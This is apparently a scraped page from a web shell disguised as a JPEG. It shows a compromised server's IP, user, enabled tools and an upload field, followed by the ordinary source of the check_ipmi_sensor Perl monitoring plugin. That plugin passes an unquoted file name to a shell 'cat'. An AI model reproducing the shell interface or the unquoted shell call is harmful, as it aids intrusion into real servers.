����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.170 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/self/root/proc/self/root/proc/1630575/root/usr/lib64/nagios/plugins/base/ |
Upload File : |
#!/usr/bin/perl
# check_ipmi_sensor: Nagios/Icinga plugin to check IPMI sensors
#
# Copyright (C) 2009-2016 Thomas-Krenn.AG,
# additional contributors see changelog.txt
#
# This program is free software; you can redistribute it and/or modify it under
# the terms of the GNU General Public License as published by the Free Software
# Foundation; either version 3 of the License, or (at your option) any later
# version.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
# details.
#
# You should have received a copy of the GNU General Public License along with
# this program; if not, see <http://www.gnu.org/licenses/>.
#
################################################################################
# The following guides provide helpful information if you want to extend this
# script:
# http://tldp.org/LDP/abs/html/ (Advanced Bash-Scripting Guide)
# http://www.gnu.org/software/gawk/manual/ (Gawk: Effective AWK Programming)
# http://de.wikibooks.org/wiki/Awk (awk Wikibook, in German)
# http://nagios.sourceforge.net/docs/3_0/customobjectvars.html (hints on
# custom object variables)
# http://nagiosplug.sourceforge.net/developer-guidelines.html (plug-in
# development guidelines)
# http://nagios.sourceforge.net/docs/3_0/pluginapi.html (plugin API)
################################################################################
use strict;
use warnings;
use Getopt::Long qw(:config no_ignore_case);
use IPC::Run qw( run ); #interact with processes
################################################################################
# set text variables
our $check_ipmi_sensor_version = "3.12";
sub get_version{
return <<EOT;
check_ipmi_sensor version $check_ipmi_sensor_version
Copyright (C) 2009-2016 Thomas-Krenn.AG
Current updates at https://github.com/thomas-krenn/check_ipmi_sensor_v3.git
EOT
}
sub get_usage{
return <<EOT;
Usage:
check_ipmi_sensor -H <hostname>
[-f <FreeIPMI config file> | -U <username> -P <password> -L <privilege level>]
[-O <FreeIPMI options>] [-b] [-T <sensor type(s)>] [-x <sensor id>]
[-xT <sensor type(s)>] [-xST <SEL sensor type(s)]
[-i <sensor id>] [-o zenoss] [-D <protocol LAN version>] [-h] [-V]
[-fc <num_fans>] [--fru] [--nosel] [--nothresholds] [--nosudo]
[-v|-vv|-vvv]
EOT
}
sub get_help{
return <<EOT;
[-H <hostname>]
hostname or IP of the IPMI interface.
For \"-H localhost\" or if no host is specified (local computer) the
Nagios/Icinga user must be allowed to run
ipmimonitoring/ipmi-sensors/ipmi-sel/[ipmi-fru] with root privileges
or via sudo (ipmimonitoring/ipmi-sensors/ipmi-sel/[ipmi-fru] must be
able to access the IPMI devices via the IPMI system interface).
[-f <FreeIPMI config file>]
path to the FreeIPMI configuration file.
Only neccessary for communication via network.
Not neccessary for access via IPMI system interface (\"-H localhost\").
It should contain IPMI username, IPMI password, and IPMI privilege-level,
for example:
username monitoring
password yourpassword
privilege-level user
As alternative you can use -U/-P/-L instead (see below).
[-U <username> -P <password> -L <privilege level>]
IPMI username, IPMI password and IPMI privilege level, provided as
parameters and not by a FreeIPMI configuration file. Useful for RHEL/
Centos 5.* with FreeIPMI 0.5.1 (this elder FreeIPMI version does not
support config files).
Warning: with this method the password is visible in the process list.
So whenever possible use a FreeIPMI confiugration file instead.
[-O <FreeIPMI options>]
additional options for FreeIPMI. Useful for RHEL/CentOS 5.* with
FreeIPMI 0.5.1 (this elder FreeIPMI version does not support config
files).
[-b]
backward compatibility mode for FreeIPMI 0.5.* (this omits the FreeIPMI
caching options --quiet-cache and --sdr-cache-recreate)
[-T <sensor type(s)>]
limit sensors to query based on IPMI sensor type.
Examples for IPMI sensor types are 'Fan', 'Temperature', 'Voltage', ...
See the output of the FreeIPMI command 'ipmi-sensors -L' and chapter
'42.2 Sensor Type Codes and Data' of the IPMI 2.0 spec for a full list
of possible sensor types. You can also find the full list of possible
sensor types at https://www.thomas-krenn.com/en/wiki/IPMI_Sensor_Types
The available types depend on your particular server and the available
sensors there.
Multiple sensor types can be specified as a comma-separated list.
[-ST <SEL sensor type(s)>]
limit SEL entries to specific types, run 'ipmi-sel -L' for a list of
types. All sensors are populated to the SEL and per default all sensor
types are monitored. E.g. to limit the sensor SEL types to Memory and
Processsor use -ST 'Memory,Processor'.
[-x <sensor id>]
exclude sensor matching <sensor id>. Useful for cases when unused
sensors cannot be deleted from SDR and are reported in a non-OK state.
Option can be specified multiple times. The <sensor id> is a numeric
value (sensor names are not used as some servers have multiple sensors
with the same name). Use -vvv option to query the <sensor ids>.
[-xT <sensor type(s)>]
exclude sensors based on IPMI sensor type.
Multiple sensor types can be specified as a comma-separated list.
[-xST <SEL sensor type(s)]
exclude SEL entries of specific sensor types.
Multiple sensor types can be specified as a comma-separated list.
[-i <sensor id>]
include only sensor matching <sensor id>. Useful for cases when only
specific sensors should be monitored. Be aware that only for the
specified sensor errors/warnings are generated. Use -vvv option to query
the <sensor ids>.
[-v|-vv|-vvv]
be verbose
(no -v) .. single line output
-v ..... single line output with additional details for warnings
-vv ..... multi line output, also with additional details for warnings
-vvv ..... debugging output, followed by normal multi line output
[-o]
change output format. Useful for using the plugin with other monitoring
software than Nagios or Icinga.
-o zenoss .. create ZENOSS compatible formatted output (output with
underscores instead of whitespaces and no single quotes)
[-D]
change the protocol LAN version. Normally LAN_2_0 is used as protocol
version if not overwritten with this option. Use 'default' here if you
don't want to use LAN_2_0.
[-fc <num fans>]
number of fans that should be active. If the number of current active
fans reported by IPMI is smaller than <num fans> then a Warning state
is returned.
[--fru]
print the product serial number if it is available in the IPMI FRU data.
For this purpose the tool 'ipmi-fru' is used. E.g.:
IPMI Status: OK (9000096781)
[--nosel]
turn off system event log checking via ipmi-sel. If there are
unintentional entries in SEL, use 'ipmi-sel --clear' or the -sx or -xST
option.
[-sx|--selexclude <sel exclude file>]
use a sel exclude file to exclude entries from the system event log.
Specify name and type pipe delimitered in this file to exclude an entry,
for example: System Chassis Chassis Intru|Physical Security
To get valid names and types use the -vvv option and take a look at:
debug output for sel (-vvv is set). Don't use name and type from the
web interface as sensor descriptions are not complete there.
[-xx|--sexclude <exclude file>]
use an exclude file to exclude sensors.
Specify name and type pipe delimitered in this file to exclude a sensor,
To get valid names and types use the -vvv option.
[--nosudo]
turn off sudo usage on localhost or if ipmi host is ommited.
[--nothresholds]
turn off performance data thresholds from output-sensor-thresholds.
[--noentityabsent]
skip sensor checks for sensors that have 'noentityabsent' as event state
[-s <ipmi-sensor output file>]
simulation mode - test the plugin with an ipmi-sensor output redirected
to a file.
[-h]
show this help
[-V]
show version information
Examples:
\$ check_ipmi_sensor -H 192.0.2.1 -U monitor -P monitor -L user
IPMI Status: OK | 'System Temp'=30.00 'Peripheral Temp'=32.00
'FAN 1'=2775.00 [...]
\$ check_ipmi_sensor -H 192.0.2.1 -U monitor -P monitor -L user -x 205
IPMI Status: OK | 'System Temp'=30.00 'Peripheral Temp'=32.00
'FAN 2'=2775.00 [...]
\$ check_ipmi_sensor -H 192.0.2.1 -U monitor -P monitor -L user -i 4,71
IPMI Status: OK | 'System Temp'=30.00 'Peripheral Temp'=32.00
\$ check_ipmi_sensor -H 192.0.2.1 -U monitor -P monitor -L user -i 4 --fru
IPMI Status: OK (0000012345) | 'System Temp'=30.00
Further information about this plugin can be found at
http://www.thomas-krenn.com/en/wiki/IPMI_Sensor_Monitoring_Plugin
Use the github repo at https://github.com/thomas-krenn/check_ipmi_sensor_v3.git
to submit patches, or suggest improvements.
Send email to the IPMI-plugin-user mailing list if you have questions regarding
use of this software. The mailing list is available at
http://lists.thomas-krenn.com/
EOT
}
sub usage{
my ($arg) = @_; #the list of inputs
my ($exitcode);
if ( defined $arg ){
if ( $arg =~ m/^\d+$/ ){
$exitcode = $arg;
}
else{
print STDOUT $arg, "\n";
$exitcode = 1;
}
}
print STDOUT get_usage();
exit($exitcode) if defined $exitcode;
}
################################################################################
# set ipmimonitoring path
our $MISSING_COMMAND_TEXT = '';
our $IPMICOMMAND ="";
if(-x "/usr/sbin/ipmimonitoring"){
$IPMICOMMAND = "/usr/sbin/ipmimonitoring";
}
elsif (-x "/usr/bin/ipmimonitoring"){
$IPMICOMMAND = "/usr/bin/ipmimonitoring";
}
elsif (-x "/usr/local/sbin/ipmimonitoring"){
$IPMICOMMAND = "/usr/local/sbin/ipmimonitoring";
}
elsif (-x "/usr/local/bin/ipmimonitoring"){
$IPMICOMMAND = "/usr/local/bin/ipmimonitoring";
}
else{
$MISSING_COMMAND_TEXT = " ipmimonitoring/ipmi-sensors command not found!\n";
}
# Identify the version of the ipmi-tool
sub get_ipmi_version{
my @ipmi_version_output = '';
my $ipmi_version = '';
@ipmi_version_output = `$IPMICOMMAND -V`;
$ipmi_version = shift(@ipmi_version_output);
$ipmi_version =~ /(\d+)\.(\d+)\.(\d+)/;
@ipmi_version_output = ();
push @ipmi_version_output,$1,$2,$3;
return @ipmi_version_output;
}
sub simulate{
my $output = '';
my $simul_file = $_[0];
if( !defined $simul_file || (-x '\"'.$simul_file.'\"')){
print "DEBUG: Using simulation file: $simul_file\n";
print "Error: Simulation file with ipmi output not found.\n";
exit(3);
}
return ($output = `cat $simul_file`);
}
sub get_fru{
my @frucmd = @{(shift)};
my $verbosity = shift;
my $fru;
if(-e '/usr/sbin/ipmi-fru'){
$fru = '/usr/sbin/ipmi-fru';
}
else{
chomp($fru = `which ipmi-fru`);
}
#if sudo is used the command is the second element
if($frucmd[0] eq 'sudo'){
$frucmd[1] = $fru;
}
else{
$frucmd[0] = $fru;
}
#skip checksum validation
push @frucmd,'-s';
my $fruoutput;
my $returncode;
run \@frucmd, '>&', \$fruoutput;
#the upper eight bits contain the error condition (exit code)
#see http://perldoc.perl.org/perlvar.html#Error-Variables
$returncode = $? >> 8;
if ( $returncode != 0 ){
print "$fruoutput\n";
print "-> Execution of $fru failed with return code $returncode.\n";
print "-> $fru was executed with the following parameters:\n";
print " ", join(' ', @frucmd), "\n";
exit(3);
}
if($verbosity == 3){
print "------------- debug output for fru (-vvv is set): ------------\n";
print " $fru was executed with the following parameters:\n";
print " ", join(' ', @frucmd), "\n";
print " output of FreeIPMI:\n";
print "$fruoutput";
}
return split('\n', $fruoutput);
}
sub get_sel{
my @selcmd = @{(shift)};
my $verbosity = shift;
my @sel_sensor_types = @{(shift)};
my @exclude_sel_sensor_types = @{(shift)};
my $sel;
if(-e '/usr/sbin/ipmi-sel'){
$sel = '/usr/sbin/ipmi-sel';
}
else{
chomp($sel = `which ipmi-sel`);
}
#if sudo is used the command is the second element
if($selcmd[0] eq 'sudo'){
$selcmd[1] = $sel;
}
else{
$selcmd[0] = $sel;
}
push @selcmd, '--output-event-state', '--interpret-oem-data', '--entity-sensor-names';
push @selcmd, '--sensor-types=' . join(',', @sel_sensor_types);
push @selcmd, '--exclude-sensor-types=' . join(',', @exclude_sel_sensor_types);
my $seloutput;
my $returncode;
run \@selcmd, '>&', \$seloutput;
$returncode = $? >> 8;
if ( $returncode != 0 ){
print "$seloutput\n";
print "-> Execution of $sel failed with return code $returncode.\n";
print "-> $sel was executed with the following parameters:\n";
print " ", join(' ', @selcmd), "\n";
exit(3);
}
if($verbosity == 3){
print "------------- debug output for sel (-vvv is set): ------------\n";
print " $sel was executed with the following parameters:\n";
print " ", join(' ', @selcmd), "\n";
print " output of FreeIPMI:\n";
print "$seloutput";
}
return split('\n', $seloutput);
}
sub parse_sel{
my $selcmd = shift;
my $verbosity = shift;
my $sel_xfile = shift;
my $sel_sensor_types = shift;
my $exclude_sel_sensor_types = shift;
my @seloutput = get_sel($selcmd, $verbosity, $sel_sensor_types, $exclude_sel_sensor_types);
@seloutput = map { [ map { s/^\s*//; s/\s*$//; $_; } split(m/\|/, $_) ] } @seloutput;
my $header = shift(@seloutput);
my @sel_rows;
foreach my $row (@seloutput){
my %curr_row;
for(my $i = 0; $i < scalar(@{$header}); $i++){
my $key = lc $header->[$i];
$curr_row{$key} = $row->[$i];
}
if(!(exclude_with_file($sel_xfile, $curr_row{'name'}, $curr_row{'type'}))){
push @sel_rows, \%curr_row;
}
}
return \@sel_rows;
}
# Excludes a name and type pair if it is present in the given file, pipe
# delimitered.
# @return 1 if name should be skipped, 0 if not
sub exclude_with_file{
my $file_name = shift;
my $name = shift;
my $type = shift;
my @xlist;
my $skip = 0;
if($file_name){
if(!(open (FH, "< $file_name"))){
print "-> Reading exclude file $file_name failed with: $!.\n";
exit(3);
};
@xlist = <FH>;
}
foreach my $exclude (@xlist){
my @curr_exclude = map { s/^\s*//; s/\s*$//; $_; } split(/\|/,$exclude);
if($curr_exclude[0] eq $name &&
$curr_exclude[1] eq $type){
$skip = 1;
}
}
close FH;
return $skip;
}
#define entire hashes
our %hdrmap = (
'Record_ID' => 'id', # FreeIPMI ...,0.7.x
'Record ID' => 'id', # FreeIPMI 0.8.x,... with --legacy-output
'ID' => 'id', # FreeIPMI 0.8.x
'Sensor Name' => 'name',
'Name' => 'name', # FreeIPMI 0.8.x
'Sensor Group' => 'type',
'Type' => 'type', # FreeIPMI 0.8.x
'Monitoring Status' => 'state',
'State' => 'state', # FreeIPMI 0.8.x
'Sensor Units' => 'units',
'Units' => 'units', # FreeIPMI 0.8.x
'Sensor Reading' => 'reading',
'Reading' => 'reading', # FreeIPMI 0.8.x
'Event' => 'event', # FreeIPMI 0.8.x
'Lower C' => 'lowerC',
'Lower NC' => 'lowerNC',
'Upper C' => 'upperC',
'Upper NC' => 'upperNC',
'Lower NR' => 'lowerNR',
'Upper NR' => 'upperNR',
);
our $verbosity = 0;
MAIN: {
$| = 1; #force a flush after every write or print
my @ARGV_SAVE = @ARGV;#keep args for verbose output
my ($show_help, $show_version);
my ($ipmi_host, $ipmi_user, $ipmi_password, $ipmi_privilege_level, $ipmi_config_file, $ipmi_outformat);
my (@freeipmi_options, $freeipmi_compat);
my (@ipmi_sensor_types, @ipmi_exclude_sensor_types, @ipmi_xlist, @ipmi_ilist);
my (@ipmi_version);
my $ipmi_sensors = 0;#states to use ipmi-sensors instead of ipmimonitoring
my $fan_count;#number of fans that should be installed in unit
my $lanVersion;#if desired use a different protocol version
my $abort_text = '';
my $zenoss = 0;
my @sel_sensor_types;
my @exclude_sel_sensor_types;
my $sel_issues_present = 0;
my $simulate = '';
my ($use_fru, $no_sel, $no_sudo, $use_thresholds, $no_thresholds, $sel_xfile, $s_xfile, $no_entity_absent);
#read in command line arguments and init hash variables with the given values from argv
if ( !( GetOptions(
'H|host=s' => \$ipmi_host,
'f|config-file=s' => \$ipmi_config_file,
'U|user=s' => \$ipmi_user,
'P|password=s' => \$ipmi_password,
'L|privilege-level=s' => \$ipmi_privilege_level,
'O|options=s' => \@freeipmi_options,
'b|compat' => \$freeipmi_compat,
'T|sensor-types=s' => \@ipmi_sensor_types,
'xT|exclude-sensor-types=s' => \@ipmi_exclude_sensor_types,
'ST|sel-sensor-types=s' => \@sel_sensor_types,
'xST|exclude-sel-sensor-types=s' => \@exclude_sel_sensor_types,
'fru' => \$use_fru,
'nosel' => \$no_sel,
'nosudo' => \$no_sudo,
'nothresholds' => \$no_thresholds,
'noentityabsent' => \$no_entity_absent,
'v|verbosity' => \$verbosity,
'vv' => sub{$verbosity=2},
'vvv' => sub{$verbosity=3},
'x|exclude=s' => \@ipmi_xlist,
'sx|selexclude=s' => \$sel_xfile,
'xx|sexclude=s' => \$s_xfile,
'i|include=s' => \@ipmi_ilist,
'o|outformat=s' => \$ipmi_outformat,
'fc|fancount=i' => \$fan_count,
'D=s' => \$lanVersion,
's=s' => \$simulate,
'h|help' =>
sub{print STDOUT get_version();
print STDOUT "\n";
print STDOUT get_usage();
print STDOUT "\n";
print STDOUT get_help();
exit(0)
},
'V|version' =>
sub{
print STDOUT get_version();
exit(0);
},
'usage|?' =>
sub{print STDOUT get_usage();
exit(3);
}
) ) ){
usage(1);#call usage if GetOptions failed
}
usage(1) if @ARGV;#print usage if unknown arg list is left
################################################################################
# check for ipmimonitoring or ipmi-sensors. Since version > 0.8 ipmi-sensors is used
# if '--legacy-output' is given ipmi-sensors cannot be used
if( $MISSING_COMMAND_TEXT ne "" ){
print STDOUT "Error:$MISSING_COMMAND_TEXT";
exit(3);
}
else{
@ipmi_version = get_ipmi_version();
if( $ipmi_version[0] > 0 && (grep(/legacy\-output/,@freeipmi_options)) == 0){
$IPMICOMMAND =~ s/ipmimonitoring/ipmi-sensors/;
$ipmi_sensors = 1;
}
if( $ipmi_version[0] > 0 && (grep(/legacy\-output/,@freeipmi_options)) == 1){
print "Error: Cannot use ipmi-sensors with option \'--legacy-output\'. Remove it to work correctly.\n";
exit(3);
}
# check if output-sensor-thresholds can be used, this is supported
# since 1.2.1. Version 1.2.0 was not released, so skip the third minor
# version number
if($ipmi_version[0] > 1 || ($ipmi_version[0] == 1 && $ipmi_version[1] >= 2)){
$use_thresholds = 1;
}
else{
$use_thresholds = 0;
}
}
###############################################################################
# verify if all mandatory parameters are set and initialize various variables
#\s defines any whitespace characters
#first join the list, then split it at whitespace ' '
#also cf. http://perldoc.perl.org/Getopt/Long.html#Options-with-multiple-values
@freeipmi_options = split(/\s+/, join(' ', @freeipmi_options)); # a bit hack, shell word splitting should be implemented...
@ipmi_sensor_types = split(/,/, join(',', @ipmi_sensor_types));
@ipmi_exclude_sensor_types = split(/,/, join(',', @ipmi_exclude_sensor_types));
@sel_sensor_types = split(/,/, join(',', @sel_sensor_types));
@exclude_sel_sensor_types = split(/,/, join(',', @exclude_sel_sensor_types));
@ipmi_xlist = split(/,/, join(',', @ipmi_xlist));
@ipmi_ilist = split(/,/, join(',', @ipmi_ilist));
#check for zenoss output
if(defined $ipmi_outformat && $ipmi_outformat eq "zenoss"){
$zenoss = 1;
}
# Per default monitor all sensor types, use -ST to specify your sensor types
if(!@sel_sensor_types){
@sel_sensor_types = ('all');
}
# If -xST has not been set, set this array to empty.
if(!@exclude_sel_sensor_types){
@exclude_sel_sensor_types = ('');
}
# Define basic ipmi command
my @basecmd = $IPMICOMMAND;
# If host is omitted localhost is assumed, if not turned off sudo is used
if(!(defined $ipmi_host) || ($ipmi_host eq 'localhost')){
if(!defined($no_sudo)){
# Only add sudo if not already root
@basecmd = ($> != 0 ? 'sudo' : (), $IPMICOMMAND);
}
}
# If we are not local, we need authentication credentials
else{
# Add the ipmi desired host
push @basecmd, '-h', $ipmi_host;
if(defined $ipmi_config_file){
push @basecmd, '--config-file', $ipmi_config_file;
}
elsif(defined $ipmi_user && defined $ipmi_password && defined $ipmi_privilege_level ){
push @basecmd, '-u', $ipmi_user, '-p', $ipmi_password, '-l', $ipmi_privilege_level;
}
else{
$abort_text = $abort_text . " -f <FreeIPMI config file> or -U <username> -P <password> -L <privilege level>";
}
if( $abort_text ne ""){
print STDOUT "Error: " . $abort_text . " missing.";
print STDOUT get_usage();
exit(3);
}
}
# copy command for fru usage
my @frucmd;
if($use_fru){
@frucmd = @basecmd
}
my @selcmd = @basecmd;
if(@ipmi_sensor_types){
# , is the seperator in the new string
# -g option is older name for ipmi-sensors -t or --sensor-types and
# compatible with both older and newer version of FreeIPMI
push @basecmd, '-g', join(',', @ipmi_sensor_types);
}
# add sensor types to exclude
if(@ipmi_exclude_sensor_types){
push @basecmd, '--exclude-sensor-types', join(',', @ipmi_exclude_sensor_types);
}
if(@freeipmi_options){
push @basecmd, @freeipmi_options;
}
#keep original basecmd for later usage
my @getstatus = @basecmd;
#if -b is not defined, caching options are used
if( !(defined $freeipmi_compat) ){
push @getstatus, '--quiet-cache', '--sdr-cache-recreate';
}
#since version 0.8 it is possible to interpret OEM data
if( ($ipmi_version[0] == 0 && $ipmi_version[1] > 7) ||
$ipmi_version[0] > 0){
push @getstatus, '--interpret-oem-data';
}
#since version 0.8 it is necessary to add the legacy option
if( ($ipmi_version[0] == 0 && $ipmi_version[1] > 7) && (grep(/legacy\-output/,@freeipmi_options) == 0)){
push @getstatus, '--legacy-output';
}
#if ipmi-sensors is used show the state of sensors and ignore N/A
if($ipmi_sensors){
push @getstatus, '--output-sensor-state', '--ignore-not-available-sensors';
}
#if not stated otherwise we use protocol lan version 2 per default
if(!defined($lanVersion)){
$lanVersion = 'LAN_2_0';
}
if($lanVersion ne 'default' && defined $ipmi_host && $ipmi_host ne 'localhost'){
push @getstatus, "--driver-type=$lanVersion";
if(!$no_sel){
push @selcmd, "--driver-type=$lanVersion";
}
if($use_fru){
push @frucmd, "--driver-type=$lanVersion";
}
}
if($use_thresholds && !$no_thresholds){
push @getstatus, '--output-sensor-thresholds';
}
################################################################################
#execute status command and redirect stdout and stderr to ipmioutput
my $ipmioutput;
my $returncode;
if(!$simulate){
run \@getstatus, '>&', \$ipmioutput;
#the upper eight bits contain the error condition (exit code)
#see http://perldoc.perl.org/perlvar.html#Error-Variables
$returncode = $? >> 8;
}
else{
$ipmioutput = simulate($simulate);
print "DEBUG: Using simulation mode\n";
$returncode = 0;
}
my @fruoutput;
if($use_fru){
@fruoutput = get_fru(\@frucmd, $verbosity);
}
my $seloutput;
if(!$no_sel){
$seloutput = parse_sel(\@selcmd, $verbosity, $sel_xfile, \@sel_sensor_types, \@exclude_sel_sensor_types);
}
################################################################################
# print debug output when verbosity is set to 3 (-vvv)
if ( $verbosity == 3 ){
my $ipmicommandversion;
run [$IPMICOMMAND, '-V'], '2>&1', '|', ['head', '-n', 1], '&>', \$ipmicommandversion;
#remove trailing newline with chomp
chomp $ipmicommandversion;
print "------------- debug output for sensors (-vvv is set): ------------\n";
print " script was executed with the following parameters:\n";
print " $0 ", join(' ', @ARGV_SAVE), "\n";
print " check_ipmi_sensor version:\n";
print " $check_ipmi_sensor_version\n";
print " FreeIPMI version:\n";
print " $ipmicommandversion\n";
print " FreeIPMI was executed with the following parameters:\n";
print " ", join(' ', @getstatus), "\n";
print " FreeIPMI return code: $returncode\n";
print " output of FreeIPMI:\n";
print "$ipmioutput\n";
print "--------------------- end of debug output ---------------------\n";
}
################################################################################
# generate main output
if ( $returncode != 0 ){
print "$ipmioutput\n";
print "-> Execution of $IPMICOMMAND failed with return code $returncode.\n";
print "-> $IPMICOMMAND was executed with the following parameters:\n";
print " ", join(' ', @getstatus), "\n";
exit(3);
}
else{
my @outputRows;
if(defined($ipmioutput)){
@outputRows = split('\n', $ipmioutput);
}
if(!defined($ipmioutput) || scalar(@outputRows) == 1){
print "-> Your server seems to be powered off.";
print " (Execution of FreeIPMI returned an empty output or only 1 header row!)\n";
print "-> $IPMICOMMAND was executed with the following parameters:\n";
print " ", join(' ', @getstatus), "\n";
exit(3);
}
#print desired filter types
if ( @ipmi_sensor_types ){
print "Sensor Type(s) ", join(', ', @ipmi_sensor_types), " Status: ";
}
else{
print "IPMI Status: ";
}
#split at newlines, fetch array with lines of output
my @ipmioutput = split('\n', $ipmioutput);
#remove sudo errors and warnings like they appear on dns resolving issues
@ipmioutput = map { /^sudo:/ ? () : $_ } @ipmioutput;
#remove leading and trailing whitespace characters, split at the pipe delimiter
@ipmioutput = map { [ map { s/^\s*//; s/\s*$//; $_; } split(m/\|/, $_) ] } @ipmioutput;
#shift out the header as it is the first line
my $header = shift @ipmioutput;
if(!defined($header)){
print "$ipmioutput\n";
print " FreeIPMI returned an empty header map (first line)";
if(@ipmi_sensor_types){
print " FreeIPMI could not find any sensors for the given sensor type (option '-T').\n";
}
exit(3);
}
my %header;
for(my $i = 0; $i < @$header; $i++)
{
#assigning %header with (key from hdrmap) => $i
#checking at which position in the header is which key
$header{$hdrmap{$header->[$i]}} = $i;
}
my @ipmioutput2;
foreach my $row ( @ipmioutput ){
my %row;
#fetch keys from header and assign existent values to row
#this maps the values from row(ipmioutput) to the header values
while ( my ($key, $index) = each %header ){
$row{$key} = $row->[$index];
}
if(!(exclude_with_file($s_xfile, $row{'name'}, $row{'type'}))){
push @ipmioutput2, \%row;
}
}
#create hash with sensor name an 1
my %ipmi_xlist = map { ($_, 1) } @ipmi_xlist;
#filter out the desired sensor values
@ipmioutput2 = grep(!exists $ipmi_xlist{$_->{'id'}}, @ipmioutput2);
#check for an include list
if(@ipmi_ilist){
my %ipmi_ilist = map { ($_, 1) } @ipmi_ilist;
#only include sensors from include list
@ipmioutput2 = grep(exists $ipmi_ilist{$_->{'id'}}, @ipmioutput2);
}
#start with main output
my $exit = 0;
my $w_sensors = '';#sensors with warnings
my $sel_w_sensors = '';#verbose output for sel entries with warnings
my $perf = '';#performance sensor
my $curr_fans = 0;
foreach my $row ( @ipmioutput2 ){
if( $zenoss ){
$row->{'name'} =~ s/ /_/g;
}
my $check_sensor_state = 1;
if($no_entity_absent && ($row->{'event'} eq '\'Entity Absent\'')){
$check_sensor_state = 0;
}
#check for warning sensors
if($check_sensor_state && ($row->{'state'} ne 'Nominal' && $row->{'state'} ne 'N/A')){
$exit = 1 if $exit < 1;
$exit = 2 if $exit < 2 && $row->{'state'} ne 'Warning';
#don't insert a , the first time
$w_sensors .= ", " unless $w_sensors eq '';
$w_sensors .= "$row->{'name'} = $row->{'state'}";
if( $verbosity ){
if( $row->{'reading'} ne 'N/A'){
$w_sensors .= " ($row->{'reading'})" ;
}
else{
$w_sensors .= " ($row->{'event'})";
}
}
}
if($check_sensor_state && ($row->{'units'} ne 'N/A')){
my $val = $row->{'reading'};
my $perf_data;
my $perf_thresholds;
if($zenoss){
$perf_data = $row->{'name'}."=".$val;
}
else{
$perf_data = "'".$row->{'name'}."'=".$val;
}
if($use_thresholds && !$no_thresholds){
if(($row->{'lowerNC'} ne 'N/A') && ($row->{'upperNC'} ne 'N/A')){
$perf_thresholds = $row->{'lowerNC'}.":".$row->{'upperNC'}.";";
}
elsif(($row->{'lowerNC'} ne 'N/A') && ($row->{'upperNC'} eq 'N/A')){
$perf_thresholds = $row->{'lowerNC'}.":;";
}
elsif(($row->{'lowerNC'} eq 'N/A') && ($row->{'upperNC'} ne 'N/A')){
$perf_thresholds = "~:".$row->{'upperNC'}.";";
}
elsif(($row->{'lowerNC'} eq 'N/A') && ($row->{'upperNC'} eq 'N/A')){
$perf_thresholds = ";";
}
if(($row->{'lowerC'} ne 'N/A') && ($row->{'upperC'} ne 'N/A')){
$perf_thresholds .= $row->{'lowerC'}.":".$row->{'upperC'};
}
elsif(($row->{'lowerC'} ne 'N/A') && ($row->{'upperC'} eq 'N/A')){
$perf_thresholds .= $row->{'lowerC'}.":";
}
elsif(($row->{'lowerC'} eq 'N/A') && ($row->{'upperC'} ne 'N/A')){
$perf_thresholds .= "~:".$row->{'upperC'};
}
# Add thresholds to performance data
if(($row->{'lowerNC'} ne 'N/A') || ($row->{'upperNC'} ne 'N/A') ||
($row->{'lowerC'} ne 'N/A') || ($row->{'upperC'} ne 'N/A')){
$perf_data .= ";".$perf_thresholds;
}
}
$perf .= $perf_data." ";
}
if( $row->{'type'} eq 'Fan' && $row->{'reading'} ne 'N/A' ){
$curr_fans++;
}
}
foreach my $row (@{$seloutput}){
if( $zenoss ){
$row->{'name'} =~ s/ /_/g;
}
if ($row->{'state'} ne 'Nominal'){
$sel_issues_present += 1;
$exit = 1 if $exit < 1;
$exit = 2 if $exit < 2 && $row->{'state'} ne 'Warning';
if( $verbosity ){
$sel_w_sensors .= ", " unless $sel_w_sensors eq '';
$sel_w_sensors .= "($row->{'name'} = $row->{'state'},";
$sel_w_sensors .= " $row->{'type'}," ;
$sel_w_sensors .= " $row->{'event'})" ;
}
}
}
if ( $sel_issues_present ){
$w_sensors .= ", " unless $w_sensors eq '';
if ( $sel_issues_present == 1 ){
$w_sensors .= "1 system event log (SEL) entry present";
}else{
$w_sensors .= $sel_issues_present." system event log (SEL) entries present";
}
if( $verbosity ){
$w_sensors .= " - details: ";
$w_sensors .= $sel_w_sensors;
$w_sensors .= " - fix the reported issues and clear your SEL";
$w_sensors .= " or exclude specific SEL entries using the -sx or -xST option";
}
}
#now check if num fans equals desired unit fans
if( $fan_count ){
if( $curr_fans < $fan_count ){
$exit = 1 if $exit < 1;
$w_sensors .= ", " unless $w_sensors eq '';
$w_sensors .= "Fan = Warning";
if( $verbosity ){
$w_sensors .= " ($curr_fans)" ;
}
}
}
#check for the FRU serial number
my @server_serial;
my $serial_number;
if( $use_fru ){
@server_serial = grep(/Product Serial Number/,@fruoutput);
if(@server_serial){
$server_serial[0] =~ m/(\d+)/;
$serial_number = $1;
}
}
$perf = substr($perf, 0, -1);#cut off the last chars
if ( $exit == 0 ){
print "OK";
}
elsif ( $exit == 1 ){
print "Warning [$w_sensors]";
}
else{
print "Critical [$w_sensors]";
}
if( $use_fru && defined($serial_number)){
print " ($serial_number)";
}
print " | ", $perf if $perf ne '';
print "\n";
if ( $verbosity > 1 ){
foreach my $row (@ipmioutput2){
if( $row->{'state'} eq 'N/A'){
next;
}
elsif( $row->{'reading'} ne 'N/A'){
print "$row->{'name'} = $row->{'reading'} ";
}
elsif( $row->{'event'} ne 'N/A'){
print "$row->{'name'} = $row->{'event'} ";
}
else{
next;
}
print "(Status: $row->{'state'})\n";
}
}
exit $exit;
}
};